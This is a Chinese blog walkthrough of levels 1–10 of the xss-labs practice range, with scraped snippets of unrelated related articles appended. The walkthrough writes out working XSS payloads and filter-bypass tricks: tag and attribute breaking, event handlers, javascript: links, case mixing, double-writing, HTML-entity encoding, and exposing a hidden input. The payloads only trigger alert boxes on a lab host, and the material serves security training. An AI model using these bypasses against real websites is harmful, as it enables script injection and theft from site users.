当前位置: 首页 > news >正文

【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

靶场安装:

靶场安装请参考以下博客,既详细有提供工具:

【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)https://blog.csdn.net/m0_67844671/article/details/133915033?spm=1001.2014.3001.5501

靶场通关:

点击图片图片以后进入到第一关: 

1-1 第一关:

发现有个name参数值为test;改变name的值发现在页面上进行输出,name我们就对name参数进行payload注入

第一关没有任何防范

'"><script>alert('aini');</script>

输入payload,按回车

看到了弹框,就过去了

1-2 第二关: 

发现有个输入框,输入的内容也会在输入框上面显示出来

我们网页右击,点击菜单来最下面的检查“” 看渲染结构,发现我们输入的内容是一个文本框的value值,这样浏览器是不会执行我们的注入语句的,所以我们要构造标签闭合

第一种思路:

构造一个onclick属性 

" onclick="alert(123)

<input name="keyword" value="aini"> 

上面payload的做右边的" 可以闭合调value属性,οnclick="alert(123跟value属性本来的右引号形成闭合,下面就是payload注入后的效果

<input name="keyword" value="" οnclick="alert(123)"> 

点击搜索 

 

这时候文本框有了个点击事件,所以我们点击文本框

就有弹框了

 第二种思路:

构造闭合标签,把input标签闭合掉,然后写个script标签

'"><script>alert(123)</script>

 

就有弹框了 

1-3 第三关:

跟上一关差不多,还是两种思路先尝试一下,第一种闭合属性

发现双引号编码了

使用单引号试一下看看 

注意:前端事件有很多onclick,onfocus,onblur等,简单了解一下,记住几个常用的

' onfocus='alert(123)'
' onblur='alert(123)'  
// 或者下面的写法也行
' onBlur=javascript:alert('aini')

成功绕过去了

 点击以后确实有了弹框

第二种思路:闭合标签就不演示了,可以试一下有没有对标签进行转义,也是一种思路

1-4 第四关:

发现跟上一关一样的思路,先闭合属性试一下 

" onclick="alert(123)

发现还真的可以 

看到弹框了,还可以试一试如下payload,也是可以的

'" onblur='alert(123)'  
// 或者
'" onBlur=javascript:alert('aini')

使用闭合标签试一下看看

'"><script>alert(123)</script>

 发现对<,/,>进行替换了,所以不能用这个方法了

1-5 第五关:

发现思路跟上面几关差不多,先闭合标签试一试 

" onclick="alert(123)

发现对事件on做了过滤,在他们中间加了_

 第二种思路,闭合标签,发现还是不行,对script标签也做了过滤

但是我们可以用的标签很多,可以用a标签的href 属性来构造payload

'"><a href='javascript:alert(123);'>点击我</a>

发现成功渲染了a标签,点击以后试一试 

 成功弹出了弹框

1-6 第六关:

还是一样的思路,闭合标签或者闭合属性,先闭合属性看看 

发现在on上做了过滤

接下来闭合标签。用最简单的script标签试一试 ,老样子对script标签做了过滤

用a标签试一试 ,发现href属性做了过滤

接下来我们尝试大小写混合绕过,href大写试一试 

'"><a HREF='javascript:alert(123);'>点击我</a>

发现绕过去了 

 

用闭合属性试一下,同时大小写混合,也发现绕过去了,本道题核心思路就是大小写混写绕过

" ONclicl="alert(123)

1-7 第七关:

最基本的属性构造,标签闭合你们自己试一下,看看能不能绕过,我们先试一下大小写混写吧看看能不能绕过 ,发现对on字进项了整体替换

 这样的话很好办了,尝试双写绕过,比如oonn,这样的话只会把中间的on替换为诶空,就剩下on了

" oonnclick="alert(123)

发现绕过去了,所以本道题思路是双写绕过,对script标签或者只要是整体替换为空的地方可以试一下

 看到有弹框了

1-8 第八关:

我们发现我们输入的内容是input框的value,同时会当做友情链接a标签的href属性,我们尝试闭合a的href属性,构造新属性  

发现内容输出在了a标签的href属性中,当我们测试的时候发现,javascript不仅加了_,并且使用了html实体编码,将特殊符号进行了编码,导致不能进行标签闭合,那么既然内容放到了某个标签的属性值里面,我们说过,属性值是可以进行编码绕过的,尝试html实体编码绕过。

尝试编码绕过

编码:
// 采用十进制ascii码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;
// 或者十六进制unicode编码
&#x006a;&#x0061;&#x0076;&#x0061;&#x0073;&#x0063;&#x0072;&#x0069;&#x0070;&#x0074;&#x003a;&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0022;&#x006a;&#x0061;&#x0064;&#x0065;&#x006e;&#x0022;&#x0029;

发现编码绕过的方式成功绕过去了

1-9 第九关:

思路跟上一关一样,先进行编码绕过 

发现,上面的这几种绕过方式都不行了,但是看到一个友情链接,写上一个正确的http网址可以看到输出在了href属性中,也就是说,做了网址格式的校验,看后台代码发现其实就是http协议校验,那么我们可以巧用js代码中的注释符号 // 。

javascript:alert("aini")//http://www.baidu.com #但是前面的
javascript:alert("aini") // 要进行编码,不然会被加上_&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;//http://www.baidu.com

可以是可以,但是发现进行转义了,那我们就结合编码跟js语言的注释符//配合使用

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#106;&#97;&#100;&#101;&#110;&#34;&#41;//http://www.baidu.com

就这样成功看到了弹窗

 1-10 第十关:

发现上面的测试手段不太行了,但是查看页面源码发现了三个隐藏的input,那么根据他们的name构造传值,谁出来了谁就能利用 http://192.168.31.159/xss-labs/level10.php?keyword=well%20done!&t_lick=aa&t_history=bb&t_sort=dd
可以看到cc输出到了某个input标签的value属性对应的值的位置,那么我们构造如下代码,让它们的type改变,不再隐藏,并执行js代码。

根据三个input框的name值进行传值发现,t_sort传的值以作为value属性的值渲染到页面上

http://192.168.31.159/xss-labs/level10.php?keyword=well%20done!&t_lick=aa&t_history=bb&t_sort=dd
 

所以针对name属性为t_sort的input标签进行注入,可以闭合属性,构造新的属性,同时把type="hidden"属性替换掉,要不然看不到页面效果,payload如下 

'" type='text' onclick='alert(123)' 
'" type='text' onblur='javascript:alert("aini")' 
// 注意,我们单纯的用带引号办法闭合前面的value="的双引号。

隐藏的文本框显示出来了,并且点击以后确实有了弹框

今天就闯10关把,下一个博客继续更新11-20关 

相关文章:

【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

靶场安装&#xff1a; 靶场安装请参考以下博客&#xff0c;既详细有提供工具&#xff1a; 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程&#xff0c;让你巩固对xss漏洞的理解及绕过技巧和方法&#xff08;提供资源&#xff09;-CSDN博客【网络安全 --- xss-labs通…...

Mathematics-Vocabulary·数学专业英语词汇

点击查看: Mathematics-Vocabulary数学专业英语词汇点击查看: Mathematics-Vocabulary-Offline数学专业英语词汇离线版本 Chinese-English translation英译汉The study of mathematics in English requires understanding the subject-specific vocabulary and terminology. Ma…...

画程序流程图

一。在线程序流程图。类图和时序图 Integrations | Mermaid 二。VSCODE画UML图和各种种 1.下载plantuml.jarReleases plantuml/plantuml GitHubGenerate diagrams from textual description. Contribute to plantuml/plantuml development by creating an account on GitHu…...

C++ 模板进阶

非类型模板参数 模板参数分为&#xff1a;类型模板参数与非类型模板参数 类型模板参数即&#xff1a;出现在模板参数列表中&#xff0c;跟在class或者typename之后的参数类型名称非类型模板参数即&#xff1a;用一个常量作为类(函数)模板的一个参数&#xff0c;在类(函数)模…...

jenkins 安装与使用、用户权限划分

jenkins 安装与使用 安装插件&#xff1a; 开启该插件功能 验证用户管理 创建web01~02 使用web01登录 用户权限划分 安装 Role-Based Strategy 插件后&#xff0c;系统管理 中多了如图下所示的一个功能&#xff0c;用户权限的划分就是靠他来做的 创建角色 重新访问 创建项目…...

Hadoop3教程(三十三):(生产调优篇)慢磁盘监控与小文件归档

文章目录 &#xff08;161&#xff09;慢磁盘监控&#xff08;162&#xff09;小文件归档小文件过多的问题如何对小文件进行归档 参考文献 &#xff08;161&#xff09;慢磁盘监控 慢磁盘&#xff0c;是指写入数据时特别慢的一类磁盘。这种磁盘并不少见&#xff0c;当机器运行…...

物联网知识复习

物联网的内涵和体系结构 物联网的基本内涵 物联网的基本内涵在于物联&#xff0c;物物相连或者物和人相连的互联网。 也就是说&#xff0c;它是要由物主动发起的&#xff0c;物物互联的互联网。 它的第一层意思是说物和物相连&#xff1b;第二层意思是说物和人相连。 物联网的…...

Golang爬虫入门指南

引言 网络爬虫是一种自动化程序&#xff0c;用于从互联网上收集信息。随着互联网的迅速发展&#xff0c;爬虫技术在各行各业中越来越受欢迎。Golang作为一种高效、并发性好的编程语言&#xff0c;也逐渐成为爬虫开发的首选语言。本文将介绍使用Golang编写爬虫的基础知识和技巧…...

1024渗透测试如何暴力破解其他人主机的密码(第十一课)

1024渗透测试如何暴力破解其他人主机的密码(第十一课) 1 crunch 工具 crunch是一个密码生成器&#xff0c;一般用于在渗透测试中生成随机密码或者字典攻击。下面是常见的一些使用方法&#xff1a; 生成密码字典 生成6位数字的字典&#xff1a;crunch 6 6 -t -o dict.txt …...

记录一次线下渗透电气照明系统(分析与实战)

项目地址:https://github.com/MartinxMax/S-Clustr 注意 本次行动未造成任何设备损坏,并在道德允许范围内测试 >ethical hacking< 发现过程 在路途中,发现一个未锁的配电柜,身为一个电工自然免不了好奇心(非专业人士请勿模仿,操作不当的话220V人就直了) 根据照片,简…...

Android ADB 常用命令及详解

Android ADB 常用命令及详解 Android Debug Bridge&#xff08;ADB&#xff09;是 Android 开发工具包&#xff08;SDK&#xff09;的一部分&#xff0c;用于与 Android 设备通信和执行各种任务。无论你是 Android 开发者还是普通用户&#xff0c;了解 ADB 命令是非常有用的&a…...

GO 工程下载依赖操作流程(go mod)

1. 写一个main.go文件 package main import ("fmt""net/http""github.com/ClickHouse/clickhouse-go" ) func main() {fmt.Println("服务启动......")http.HandleFunc("/hello", func(w http.ResponseWriter, r *http.Requ…...

[Linux打怪升级之路]-system V共享内存

前言 作者&#xff1a;小蜗牛向前冲 名言&#xff1a;我可以接受失败&#xff0c;但我不能接受放弃 如果觉的博主的文章还不错的话&#xff0c;还请点赞&#xff0c;收藏&#xff0c;关注&#x1f440;支持博主。如果发现有问题的地方欢迎❀大家在评论区指正 本期学习目标&…...

STM32不使用 cubeMX实现外部中断

这篇文章将介绍如何不使用 cubeMX完成外部中断的配置和实现。 文章目录 前言一、文件加入工程二、代码解析exti.cexti.hmain.c 注意&#xff1a;总结 前言 实验开发板&#xff1a;STM32F103C8T6。所需软件&#xff1a;keil5 &#xff0c; cubeMX 。实验目的&#xff1a;如何不…...

Nautilus Chain 与 Coin98 生态达成合作,加速 Zebec 生态亚洲战略进

目前&#xff0c;行业内首个模块化 Layer3 架构公链 Nautilus Chain 已经上线主网&#xff0c;揭示了模块化区块链领域迎来了全新的进程。在主网上线后&#xff0c;Nautilus Chain 将扮演 Zebec 生态中最重要的底层设施角色&#xff0c;并将为 Zebec APP 以及 Zebec Payroll 规…...

method.isAnnotationPresent(Xxx.class)一直为null

​​​​package com.dj.springtest.aspect;import com.dj.springtest.annotation.RequireRoles; import lombok.extern.slf4j.Slf4j; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.s…...

基于CNN实现谣言检测 - python 深度学习 机器学习 计算机竞赛

文章目录 1 前言1.1 背景 2 数据集3 实现过程4 CNN网络实现5 模型训练部分6 模型评估7 预测结果8 最后 1 前言 &#x1f525; 优质竞赛项目系列&#xff0c;今天要分享的是 基于CNN实现谣言检测 该项目较为新颖&#xff0c;适合作为竞赛课题方向&#xff0c;学长非常推荐&am…...

MySQL——七、MySQL备份恢复

MySQL 一、MySQL日志管理1、MySQL日志类型2、错误日志3、通用查询日志4、慢查询日志5、二进制日志5.1 开启日志5.2 二进制日志的管理5.3 日志查看5.4 二进制日志还原数据 二、MySQL备份1、备份类型逻辑备份优缺点 2、备份内容3、备份工具3.1 MySQL自带的备份工具3.2 文件系统备…...

iOS如何实现语音转文字功能?

1.项目中添加权限 Privacy - Speech Recognition Usage Description : 需要语音识别权限才能实现语音转文字功能 2.添加头文件 #import <AVFoundation/AVFoundation.h> #import<Speech/Speech.h> 3.实现语音转文字逻辑: 3.1 根据wav语音文件创建请求 SFSpeechU…...

【下载器篇】获取微软应用商店应用安装包的方法

【下载器篇】获取微软应用商店应用安装包的方法 微软应用商店历史版本应用下载方法&#xff0c;部分历史版本无法搜索到—【蘇小沐】 文章目录 【下载器篇】获取微软应用商店应用安装包的方法1.实验环境 &#xff08;一&#xff09;微软商店的在线链接生成器1、复制该应用的在…...

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…...

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…...

【Go语言基础【12】】指针:声明、取地址、解引用

文章目录 零、概述&#xff1a;指针 vs. 引用&#xff08;类比其他语言&#xff09;一、指针基础概念二、指针声明与初始化三、指针操作符1. &&#xff1a;取地址&#xff08;拿到内存地址&#xff09;2. *&#xff1a;解引用&#xff08;拿到值&#xff09; 四、空指针&am…...

【Linux】Linux 系统默认的目录及作用说明

博主介绍&#xff1a;✌全网粉丝23W&#xff0c;CSDN博客专家、Java领域优质创作者&#xff0c;掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域✌ 技术范围&#xff1a;SpringBoot、SpringCloud、Vue、SSM、HTML、Nodejs、Python、MySQL、PostgreSQL、大数据、物…...

省略号和可变参数模板

本文主要介绍如何展开可变参数的参数包 1.C语言的va_list展开可变参数 #include <iostream> #include <cstdarg>void printNumbers(int count, ...) {// 声明va_list类型的变量va_list args;// 使用va_start将可变参数写入变量argsva_start(args, count);for (in…...

打手机检测算法AI智能分析网关V4守护公共/工业/医疗等多场景安全应用

一、方案背景​ 在现代生产与生活场景中&#xff0c;如工厂高危作业区、医院手术室、公共场景等&#xff0c;人员违规打手机的行为潜藏着巨大风险。传统依靠人工巡查的监管方式&#xff0c;存在效率低、覆盖面不足、判断主观性强等问题&#xff0c;难以满足对人员打手机行为精…...

WebRTC从入门到实践 - 零基础教程

WebRTC从入门到实践 - 零基础教程 目录 WebRTC简介 基础概念 工作原理 开发环境搭建 基础实践 三个实战案例 常见问题解答 1. WebRTC简介 1.1 什么是WebRTC&#xff1f; WebRTC&#xff08;Web Real-Time Communication&#xff09;是一个支持网页浏览器进行实时语音…...

给网站添加live2d看板娘

给网站添加live2d看板娘 参考文献&#xff1a; stevenjoezhang/live2d-widget: 把萌萌哒的看板娘抱回家 (ノ≧∇≦)ノ | Live2D widget for web platformEikanya/Live2d-model: Live2d model collectionzenghongtu/live2d-model-assets 前言 网站环境如下&#xff0c;文章也主…...

在golang中如何将已安装的依赖降级处理,比如:将 go-ansible/v2@v2.2.0 更换为 go-ansible/@v1.1.7

在 Go 项目中降级 go-ansible 从 v2.2.0 到 v1.1.7 具体步骤&#xff1a; 第一步&#xff1a; 修改 go.mod 文件 // 原 v2 版本声明 require github.com/apenella/go-ansible/v2 v2.2.0 替换为&#xff1a; // 改为 v…...

门静脉高压——表现

一、门静脉高压表现 00:01 1. 门静脉构成 00:13 组成结构&#xff1a;由肠系膜上静脉和脾静脉汇合构成&#xff0c;是肝脏血液供应的主要来源。淤血后果&#xff1a;门静脉淤血会同时导致脾静脉和肠系膜上静脉淤血&#xff0c;引发后续系列症状。 2. 脾大和脾功能亢进 00:46 …...